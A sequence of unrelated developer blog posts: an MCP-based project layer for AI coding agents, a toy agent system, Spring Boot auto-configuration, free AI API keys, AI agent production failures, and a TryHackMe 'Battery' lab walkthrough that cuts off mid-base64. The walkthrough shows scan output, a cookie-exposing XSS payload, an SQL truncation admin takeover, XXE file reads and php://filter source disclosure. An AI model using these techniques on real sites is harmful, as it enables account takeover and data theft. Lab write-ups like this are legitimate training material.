Why AI Agents Need a Project Layer – Part 1

This is the first part of a series about why even the most powerful AI agents today need more than just access to your codebase.
They need access to the living state of the project: tasks, rules, decisions, notes, and workflow context.

In this article, I focus on the core problem. I won’t dive into architecture, Freeform boards, Git integration, or Vibeocus Lens yet — those will come in later parts.

AI is good at writing code, but weak at seeing the project

Modern AI coding assistants have become very good at writing code. Give them a prompt like this:

Fix coupon validation in the cart and add tests.

…and you’ll often get working code, tests, and a decent explanation. This has become normal.

However, in real development, a feature is almost never just one chat message. It comes with rich context:

  • the task and its status
  • priority and deadlines
  • project rules
  • previous architectural decisions
  • release constraints
  • related notes
  • Definition of Done

AI handles the code part well, but it often fails to understand the surrounding workflow. This is where the main problem begins.

The developer becomes the integration layer

A typical flow looks like this: the developer copies information from a task into an AI chat, gets the result, then manually updates the task status, writes notes, creates follow-up tasks, and adds release comments.

The AI session and the project management system live in parallel universes. The developer is forced to act as a constant translator between them.

This is manageable when AI is used occasionally. When it becomes a daily tool, the constant manual bridging starts to hurt productivity.

A board shows the task, but not the full context

A Kanban board is great at visualizing workflow for humans. But an AI agent doesn’t live inside your head.

It doesn’t automatically know why a task is important, which rules apply, which decisions are still valid, or what “done” actually means.

Here’s what a task might look like as structured data:

{
  "id": 108,
  "title": "Fix coupon validation in the cart",
  "status": "in-progress",
  "priority": "high",
  "description": "Coupons must not apply to discounted products. Update the server-side validation and add unit tests.",
  "start_date": "2026-05-23",
  "due_date": "2026-05-27"
}

This is already much better than a plain prompt. But for high-quality work, the agent often also needs project rules, active decisions, related documents, and notes.

That’s why I’m not talking about just a better task tracker — I’m talking about a project layer.

The board remains a useful interface for the human. The project layer makes the working context available to the AI agent in a structured way.

Why Markdown and Obsidian did not fully solve this for me

Many developers have already tried to solve this problem with Markdown files, Obsidian, Logseq, or similar local knowledge bases.

I did that too.

This approach has real strengths:

  • Markdown is easy to read;
  • files are local;
  • notes can be stored in Git;
  • documents can be linked together;
  • an AI agent can be given access to a folder with project context.

But over time, I ran into a limitation.

A folder of Markdown files is good at storing text, but it is not very good at expressing workflow state.

For example, it is hard for an agent to reliably understand:

  • which task is active right now;
  • which project rules are mandatory;
  • which decisions are still active;
  • which notes are drafts and which are part of project memory;
  • where progress should be written;
  • which actions can be performed and which should only be suggested;
  • how a task, document, note, and code change are connected.

Markdown is still useful. But by itself, it is not a project layer for an AI agent.

An AI can read a file. That is not the same as receiving a structured answer: here is the project, here are the active tasks, here are the rules, here are the related decisions, here are the allowed tools, and here is where notes live.

I needed more than a set of files. I needed a layer that turns project context into data and actions an agent can understand.

What I mean by a project layer

A project layer is an intermediate layer between an AI session and the real state of the project.

It should not replace the code editor.
It should not replace Git.
It should not be another abstract board for the sake of having another board.
Its job is simpler: give the AI agent access to the project context that the developer usually keeps in their head.

For example:

  • which projects exist;
  • where the project code lives;
  • where project notes live;
  • which tasks are in progress;
  • which rules must be followed;
  • which decisions have already been made;
  • which documents belong to the project;
  • which tasks can be created after a session;
  • which status update can be suggested after implementation.

In other words, the project layer does not answer only “how should this code be written?”

It also answers: “inside which project context should this code be written?”

That distinction matters.

Where MCP fits in

MCP, the Model Context Protocol, becomes interesting exactly here.

It gives AI clients a structured way to connect to external data and tools.

Instead of manually pasting task descriptions, project rules, and notes into a chat every time, an AI agent can ask a local MCP server for that context.

For example, before starting work, an agent could run something like this:

vibeocus_list_projects
vibeocus_list_tasks({ "project_id": 42, "status": "in-progress" })
vibeocus_get_project_rules({ "project_id": 42 })
vibeocus_list_project_decisions({ "project_id": 42, "status": "active" })

In a simplified way, this turns project state into an API for the AI agent.

Not a wall of text.
Not a random folder of files.
A set of clear requests and responses.

For example, a project rule might look like this:

- Validate input data with Zod.
- Cart business logic lives in `src/server/services/cart`.
- Route handlers must not contain business logic directly.
- Do not add new dependencies without approval.
- After TypeScript changes, run the linter and tests.

If the agent sees this rule before changing the code, it is less likely to put business logic in the wrong place or add an unnecessary dependency.

This does not make AI perfect.
But it gives it a much better starting context.

How this is implemented in Vibeocus

Vibeocus is my implementation of this kind of project layer. You can see it here →

It keeps the project state local and exposes it to AI tools through a dedicated MCP helper (vibeocus-mcp).

Inside Vibeocus, there are tasks, rules, decisions, notes, documents, relations between projects, and other parts of project memory.

For an AI agent, this is not just a UI. Through MCP, it can receive structured context and treat it as part of the development process.

For the human, it remains a normal workspace: you can view tasks on a board, in a list, or in a calendar, read notes, and control changes.

I do not want the agent to “take over” the project.

A good workflow looks different:

  1. The developer selects or defines a task.
  2. The agent reads project context through MCP.
  3. The agent helps with implementation.
  4. The agent suggests a task update or a new follow-up task.
  5. The developer reviews the result.
  6. The project state stays aligned with the actual work.

AI should not be a chaotic owner of the board.

It should be a participant in the workflow: one that sees the right context and works inside clear boundaries.

Why this will matter more

AI accelerates execution.

But the faster execution becomes, the more visible coordination problems become.

One AI session can include several things at once:

  • implementing a feature;
  • fixing a bug;
  • refactoring shared code;
  • adding tests;
  • discovering a new edge case;
  • creating a follow-up task;
  • updating notes;
  • preparing for a release.

From a coding perspective, that can be productive.

From a project management perspective, it can quickly become noise if the result only stays inside a chat.

That is why I believe the next important part of AI-assisted development is not only better code generation.

The next important part is connecting AI sessions to project state.

What is next in the series

This first article is about the general pain, the idea of a project layer, and MCP as a way to connect an AI agent with project state.

Next, I want to break Vibeocus down by layers so each part focuses on one concrete workflow instead of trying to describe the whole product at once:

  • Part 2: tasks, rules, and decisions — how tasks, rules, and decisions give the agent working context before code changes.
  • Part 3: architecture, Freeform boards, Git, and visual project context — how diagrams, relations, commits, and visual maps help reason about complex features and plan work.
  • Part 4: documents and client requirements — how to upload a technical specification, connect it to a project, and use it as context for tasks and AI sessions.
  • Part 5: Vibeocus Lens — how visual website annotations, selected elements, and screenshots become project context for an agent.

Final thought

AI coding does not end with code generation.
Real software work needs tasks, rules, decisions, memory, statuses, and coordination.
If an AI agent helps write code, it should see at least part of that context in a structured way.
That is what I call a project layer.
Vibeocus is one implementation of that layer: a local workspace that connects project state with AI tools through MCP.
I am curious how other developers are solving this problem.

How do you connect AI coding sessions with the real tasks, rules, and decisions of your project?
And does MCP feel like the right interface for this kind of project layer?

🧠 Hermes Agent Assistant — A Modular AI Agent System with Planner, Executor & Memory

🚀 What I Built

I built Hermes Agent Assistant, a lightweight agentic AI system designed to demonstrate how modern AI agents can be structured using a modular architecture instead of a simple, single-prompt response model.

The system takes an abstract user task, breaks it down into structured steps using a dedicated planner, executes those steps sequentially via an execution engine, utilizes targeted tools, and stores the interaction context in a persistent memory system.

⚙️ Why I Built This

Most AI applications today are simple wrappers around LLMs that rely on a single input-output loop. I wanted to understand and demonstrate how production-grade, autonomous agent systems operate internally. Specifically, I wanted to explore how:

  • Planning can be decoupled from execution to allow for complex error handling and multi-step reasoning.
  • Tools can be dynamically integrated into an agent’s reasoning loop.
  • State and memory can persist across tasks to enable true contextual continuity.

Hermes Agent is my architecture simulation built to solve this problem in a highly accessible, lightweight, and scalable format.

🧠 System Architecture & Workflow

The codebase is split cleanly into four autonomous components that mirror real-world AI agent meshes:

       User Request (e.g., /run?task=...)
                     │
                     ▼
       ┌───────────────────────────┐
       │         PLANNER           │ ➔ Slices abstract goals into 
       └─────────────┬─────────────┘   structured, sequential steps.
                     │
                     ▼
       ┌───────────────────────────┐
       │        EXECUTOR           │ ➔ Orchestrates task completion 
       └─────────────┬─────────────┘   by processing each step.
                     │
                     ▼
       ┌───────────────────────────┐
       │       TOOLS LAYER         │ ➔ Provides functional utilities 
       └─────────────┬─────────────┘   (simulated web search, logic, maths).
                     │
                     ▼
       ┌───────────────────────────┐
       │      MEMORY SYSTEM        │ ➔ Persists execution logs statefully 
       └───────────────────────────┘   into local JSON storage.

📡 Production Showcases & Links

💡 What Makes It Different

Unlike traditional, rigid APIs or simple conversational chatbots, Hermes Agent:

  • Thinks in Workflows: It establishes an internal chain-of-thought lifecycle before executing anything.
  • Separates Reasoning from Action: Slicing the Planner from the Executor prevents cascading generation failures.
  • Is Highly Extensible: New tools and custom utility logic can be dropped into the system without breaking core routing.
  • Maintains Context Persistence: The custom memory module ensures state history is preserved between network calls.

🎛️ API Interaction Example

Request

POST /run?task=search AI agents HTTP/1.1
Host: hermes-agent-tanush.onrender.com

Response

{
  "task": "search AI agents",
  "plan": [
    "analyze request parameters", 
    "query tool registry for search utilities", 
    "summarize agent data structural output"
  ],
  "result": "final structured output successfully generated and written to persistent storage."
}

🧰 Tech Stack

  • Core Language: Python 3.10+
  • Web Framework: FastAPI (Asynchronous Server Gateway Interface)
  • Production Server: Uvicorn
  • Memory Layer: Volatile-to-Persistent JSON state manager
  • Architecture Pattern: Modular Agentic Workflow Design

🔮 Future Improvements & Roadmap

  • 🤖 Real Foundation LLM Integration: Swapping out simulated logic for live OpenAI, Anthropic, or local open-source Ollama completion hooks.
  • 🗄️ Vector Database Memory Upgrade: Transitioning flatfile storage over to a proper semantic vector indexing framework (FAISS / ChromaDB) for semantic chunk lookups.
  • 🤝 Multi-Agent Orchestration: Upgrading the workflow to host distinct Planner, Executor, and Critic agents working collaboratively with separate system prompts.
  • ⚡ Live Server-Sent Events (SSE): Integrating real-time execution streaming so client frontends can observe the agent’s thought process step-by-step.

Spring Boot Auto-Configuration Source Code: Nail This Interview Question

Spring Boot Auto-Configuration: The Interview Question That Separates Junior from Senior

After thousands of interview communications, one pattern is clear: interviewers love asking about Spring Boot auto-configuration.

The Source Code Pipeline

@SpringBootApplication
  → @EnableAutoConfiguration
    → @Import(AutoConfigurationImportSelector.class)
      → selectImports() → SpringFactoriesLoader
        → reads META-INF/spring/...AutoConfiguration.imports

Conditional Annotations

@ConditionalOnClass({DataSource.class})    // Only if dependency exists
@ConditionalOnMissingBean(DataSource.class) // User's custom bean wins

Interview-winning answer: “Spring Boot reads AutoConfiguration.imports via SPI, loading all config classes with @ConditionalOnXxx guard conditions. This is convention-over-configuration at the framework level.”

📊 More: Java Interview Arsenal — 40+ free tools, all open source.

The Ultimate Guide to Free AI API Keys: 6 Platforms You Need to Know

The Ultimate Guide to Free AI API Keys (2026)

If you’re building AI apps and don’t want to start with billing immediately, these are the platforms actually worth using:

  • OpenRouter
  • Google AI Studio
  • Groq Cloud
  • GitHub Models
  • NVIDIA Build
  • Cloudflare Workers AI

I broke down:

  • which ones are genuinely useful,
  • where the hidden limitations are,
  • how rate limits actually fail in production,
  • and the provider combinations that make sense for real projects.

A lot of developers waste time wiring random providers before understanding quotas, latency, auth patterns, or model routing. That becomes painful the second you demo publicly or hit scaling issues.

Full guide here:

👉 https://www.yashkapure.com/en/blog/free-api-key-platforms-for-ai-usage/

The article covers:

  • free model access strategies,
  • API key management,
  • quota debugging,
  • provider combinations,
  • PAT/API security hygiene,
  • edge inference setups,
  • and production pitfalls most tutorials ignore.

Would genuinely save beginners a lot of avoidable mistakes.

Why 91% of AI Agents Fail in Production (And What the 9% Do Differently)

Demo Vs Production

Everyone is building AI agents right now.

Autonomous systems that reason, plan, and act without humans in the loop. Agents that write code, manage workflows, analyze data, make decisions. The demos are incredible. The hype is deafening.

But here’s what nobody talks about: 91% of AI agents that get built never make it to production successfully. They work in the demo. They fail in the real world.

And the reason is almost never the model.

The Real Problem Isn’t Intelligence — It’s Infrastructure

Most teams building agentic AI focus 90% of their energy on the agent itself. The prompts. The reasoning chain. The tool selection. The agent architecture.

Then they ship it and wonder why it falls apart after two weeks.

The problem is everything around the agent. The boring, unglamorous systems engineering that nobody wants to talk about at conferences. The stuff that doesn’t make for a good demo but determines whether the agent actually works on day 30, day 90, day 365.

I’m talking about MLOps. Or more broadly, the discipline of making AI systems reliable in production.

And here’s the thing — agentic AI is the hardest MLOps problem you can have.

Let me explain why.

Traditional ML vs Agentic AI: A Systems Engineering Gap

A traditional ML system is relatively simple: input goes in, model makes a prediction, output goes out. You monitor the prediction quality, retrain when drift happens, and you’re done.

An agentic system is fundamentally different. It’s not one model making one prediction. It’s multiple models chained together in a loop. The agent reasons, plans, acts, observes the result, and reasons again. Each step depends on the previous one. Errors compound.

Here’s what that means in practice:

Failure modes multiply. A wrong prediction in a traditional ML system is a single bad output. A wrong action by an agent can cascade — it takes a bad step, observes the wrong result, reasons from bad context, and takes another bad step. By the time you notice, the agent has been making confident mistakes for hours.

Monitoring gets harder. With a traditional model, you monitor prediction distributions and accuracy. With an agent, you need to monitor action quality, loop detection, cost per task, tool failure rates, and whether the agent is even pursuing the right goal.

Versioning explodes. A traditional model has one set of weights. An agent has multiple model versions, prompt versions, tool configurations, and orchestration logic. All of them need to be versioned and tracked together.

Drift becomes unpredictable. Traditional data drift is gradual — input distributions shift slowly. Agent drift can be sudden — a tool API changes, a new edge case appears, the environment the agent operates in evolves.

This is why agentic AI needs more MLOps discipline, not less. And why most teams are building on a foundation that can’t support what they’re creating.

The 5 Failure Modes That Kill Agents in Production

I’ve studied production ML failures — my own and others’. The same five patterns show up again and again. They’re not model problems. They’re systems problems.

1. No Monitoring — Flying Blind

This is the biggest one. Most agent demos have zero production monitoring. The agent runs, and the team only finds out something is wrong when a user complains or a business metric drops.

By then, it’s too late.

Production agents need real-time monitoring of: action success rates, error patterns, cost per task, latency, and — most importantly — whether the agent is actually achieving its intended outcome.

If you can’t see it, you can’t fix it.

2. No Versioning — The One-Time Result

An agent worked once. It worked beautifully. But nobody recorded the exact configuration — the model version, the prompt version, the tool settings, the orchestration logic.

Two weeks later, something changed. The agent degrades. And the team has no idea what broke because they can’t reproduce the last known good state.

Version everything. Code, data, model weights, prompts, configuration, environment. All of it. If you can’t reproduce it, you can’t debug it.

3. No Guardrails — Unbounded Behavior

Agents without guardrails are agents waiting to cause damage. I’ve seen agents that: kept retrying a failing tool until they hit rate limits and took down a service. Generated increasingly verbose responses that burned through token budgets. Pursued a goal past the point where they should have stopped and escalated.

Guardrails aren’t optional. Circuit breakers, cost limits, retry budgets, human-in-the-loop checkpoints — these are what separate a demo from a production system.

4. Training-Serving Skew — The Twin That Isn’t

The agent was tested in a sandbox. The production environment is different. Tool latencies are higher. Data formats are slightly different. Error messages look different.

The agent that worked perfectly in testing behaves unpredictably in production because it was never tested against the real world.

This is the same problem that kills traditional ML models, but it’s worse for agents because they make sequences of decisions. A small skew at each step compounds into a large deviation by the end.

5. No Rollback — Stuck With a Bad Version

An agent starts degrading in production. The team knows something is wrong. But there’s no quick way to revert to the previous version. They’re stuck debugging a live system while users are affected.

Every production agent needs instant rollback. One command, back to the last known good version. No debate.

Demo Vs Production

What the 9% Do Differently

  • The teams that successfully ship agentic AI to production aren’t smarter. They’re not using better models. They’re not better prompt engineers.
  • They just treat AI systems engineering as systems engineering.
  • They build the infrastructure first. Monitoring, versioning, guardrails, rollback. Before the agent is impressive, it’s reliable.
  • They test in production-like environments from day one. Not in a notebook. Not in a demo. In an environment that looks and feels like the real world.
  • They set up drift detection. They know that the world changes, and their agent needs to adapt. They build automated retraining pipelines that validate new versions before promoting them.
  • They measure what matters. Not just “does the agent work?” but “does the agent work consistently, safely, and cost-effectively over time?”

A Real Example: Building a Self-Healing ML Pipeline

I recently built a customer churn prediction system for a telecom provider. On the surface, it’s a simple binary classification problem — predict which customers will leave.

But I designed it as a self-healing system, because I knew the alternative was a model that degrades silently until the retention team notices they’re losing more customers than usual.

Here’s what that looks like:

Automated drift detection. Every day, the system compares incoming customer data against the training baseline. If feature distributions shift beyond a threshold — say, the company launches a new pricing plan and customer behavior changes — the system flags it.

Automated retraining. When drift is detected, the system automatically retrains the model on fresh data. Not a human deciding to retrain. The system detects the need and triggers the pipeline.

Quality gates. A new model doesn’t go live just because it was retrained. It has to beat the current production model on F2-score, recall, and false positive rate. If it doesn’t, the old model stays in place and the team gets an alert.

Instant rollback. If a promoted model starts underperforming, one command reverts to the previous version. No downtime. No debugging under pressure.

Full observability. Every prediction is logged. Every retraining run is tracked. Every drift report is stored. If something goes wrong, the full history is there to debug.

This is the same discipline that agentic AI systems need. The scale is different, but the principles are identical.

The Checklist: Is Your Agent Production-Ready?

Before you ship an agent to production, answer these questions honestly:

  • [ ] Can I monitor the agent’s action quality in real time?
  • [ ] Can I reproduce any past run exactly (code + data + config + environment)?
  • [ ] Are there circuit breakers that stop the agent when it goes off track?
  • [ ] Has the agent been tested in an environment that matches production?
  • [ ] Can I roll back to the previous version in under 60 seconds?
  • [ ] Do I have drift detection that alerts me when the environment changes?
  • [ ] Do I have automated quality gates that prevent bad versions from going live?
  • [ ] Can I explain, to a non-technical stakeholder, what the agent did and why?

If you answered “no” to more than two of these, you’re building a demo, not a product.

The Bottom Line

The AI agent hype is real. The technology is genuinely impressive. But technology without infrastructure is a demo.

The teams that win in agentic AI won’t be the ones with the best models. They’ll be the ones with the best systems. The ones who invested in monitoring, versioning, guardrails, drift detection, and rollback before they needed them.

The boring stuff. The stuff that doesn’t make for a good demo. The stuff that determines whether your agent is still working six months from now.

Build the infrastructure first. Then build the agent.

Your future self — and your users — will thank you.

TryHackMe | Battery | WALKTHROUGH

LAB:** Battery
DIFFICULTY: Medium
TARGET: flag1.txt, flag2.txt, root.txt
TOOLS: Nmap, Gobuster, BurpSuite
VULNERABLE: SQL Truncation Attack, XML External Entity Injection

First, let’s do some recon using NMAP:

  • -sC – Default script scan
  • -sV – Version detection
  • -O – OS detection
sudo nmap -sC -sV -O {LABS_IP_ADDRESS} 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-22 22:13 +0800
Nmap scan report for {LABS_IP_ADDRESS}
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
|_  256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=5/22%OT=22%CT=1%CU=34654%PV=Y%DS=3%DC=I%G=Y%TM=6A1064C
OS:3%P=x86_64-apple-darwin23.6.0)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS
OS:=8)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)SEQ(SP=105%GCD=1%ISR=10D
OS:%TI=Z%CI=I%II=I%TS=8)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)SEQ(SP
OS:=108%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O1=M4E8ST11NW6%O2=M4E8ST11NW6
OS:%O3=M4E8NNT11NW6%O4=M4E8ST11NW6%O5=M4E8ST11NW6%O6=M4E8ST11)WIN(W1=68DF%W
OS:2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M4E8NN
OS:SNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G
OS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.38 seconds

Here we got open ports: ssh/22 & http/80

Now, i’m going to check whats in port 80:

Here we have a webpage but nothing interesting here. So we need to use Gobuster to find hidden directories.

===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://{LABS_IP_ADDRESS}/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                Documents/pentesting/SecLists-master/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess            (Status: 403) [Size: 288]
.hta                 (Status: 403) [Size: 283]
.htpasswd            (Status: 403) [Size: 288]
**admin.php            (Status: 200) [Size: 663]**
index.html           (Status: 200) [Size: 406]
**report               (Status: 200) [Size: 16912]**
**scripts              (Status: 301) [Size: 313] [--> http://{LABS_IP_ADDRESS}/scripts/]**
server-status        (Status: 403) [Size: 292]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

We got 3 directories to check. Let’s start with /admin.php.

I tried some fake credentials to make sure if it has Information Disclosure, Rate Limiting, or SQL Injection. But what I found instead is that the login page has a 12-character input limit on the username field. We will come back here but first let’s register and check how admin panel looks like.

I discovered reflected XSS in the Account Number parameter of the Transfer Money endpoint. The app fails to encode or validate my input before reflecting it in the HTTP response. This allowed me to execute alert(document.cookie) and view John’s (which we registered as) session cookie.

I also discovered that the app is vulnerable to HTML injection. By inserting HTML tags into the input field, I was able to alter the page’s content and inject custom messages — including the ‘HACKED!!!’ notice shown in the transaction failure message.

Before diving deeper, let’s check what we got in /report.

When you visit http://{LABS_IP_ADDRESS}/report it gives you a file called report. It’s an executable file. We can just hit strings or go with Ghidra. I always start with simple, so let’s use strings:

/lib64/ld-linux-x86-64.so.2
__isoc99_scanf
puts
printf
system
__cxa_finalize
strcmp
__libc_start_main
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]AA]A^A_
[email protected]
Password Updated Successfully!
Sorry you can't update the password
Welcome Guest
===================Available Options==============
1. Check users
2. Add user
3. Delete user
4. change password
5. Exit
clear
===============List of active users================
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
Welcome To ABC DEF Bank Managemet System!
UserName : 
Password : 
guest
Your Choice : 
email : 
not available for guest account
Wrong option
Wrong username or password
;*3$"
GCC: (Debian 9.3.0-15) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7452
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
report.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
update
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
options
system@@GLIBC_2.2.5
users
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

We have active users listed here.

But first let’s check how the system works using Ghidra.

I found a hardcoded admin email ([email protected]) inside the update() function. The code compares whatever email I give it with that hardcoded value. If they match, I get to update the password. If not, I’m denied. This means anyone can extract this email from the binary (using Ghidra or strings) and then use it to gain admin access — no authentication needed. Now still we need password to login.

Remember that we had some flaws. We found that there is 12-character limitation in login form. We can use it to register as [email protected] . We’re going take advantage of SQL Truncation Flaw.

IMPORTANT !

First take time to understand the attack.

HOW SQL Truncation Flaw WORKS?

  • The database or application cuts off (truncates) your input after a certain length, and an attacker uses this to bypass security checks.

The Attack!

  • The attacker adds extra characters (like spaces) beyond the column limit so the application checks the full input (safe), but the database only stores the truncated portion which is dangerous, allowing the attacker to inject forbidden values like duplicate usernames or escalate privileges.

In our case:

Now let’s HACK 😉

We go to register page and enter following credentials:

username: [email protected]_____xxx -> (spaces after admin as you wish)
password: YourPasswordHere

Now my favorite part.
Let’s use BurpSuite.

You can use Chromium in BurpSuite or FoxyProxy to capture the request. Go to Proxy tab in BurpSuite and Intercept the request to modify it.

After forwarding the request, we logged in as admin.

If we go to command tab, there is another form. Let’s check what happens in the background.If we go to command tab, there is another form. Let’s check what happens in the background.

This is an XML request. Let’s simply try XXE (XML External Entity).

After sending request. It shows us Linux system file that stores user account information.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash

Looking that we got usernames called cyber and yash. We can login SSH server using this credentials.

But first, I couldn’t read /acc.php directly because the server executes PHP files instead of returning their source code. So I used php://filter/convert.base64-encode/resource= to read the file as Base64-encoded text, then decoded it to see the actual PHP code and look for passwords.

PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF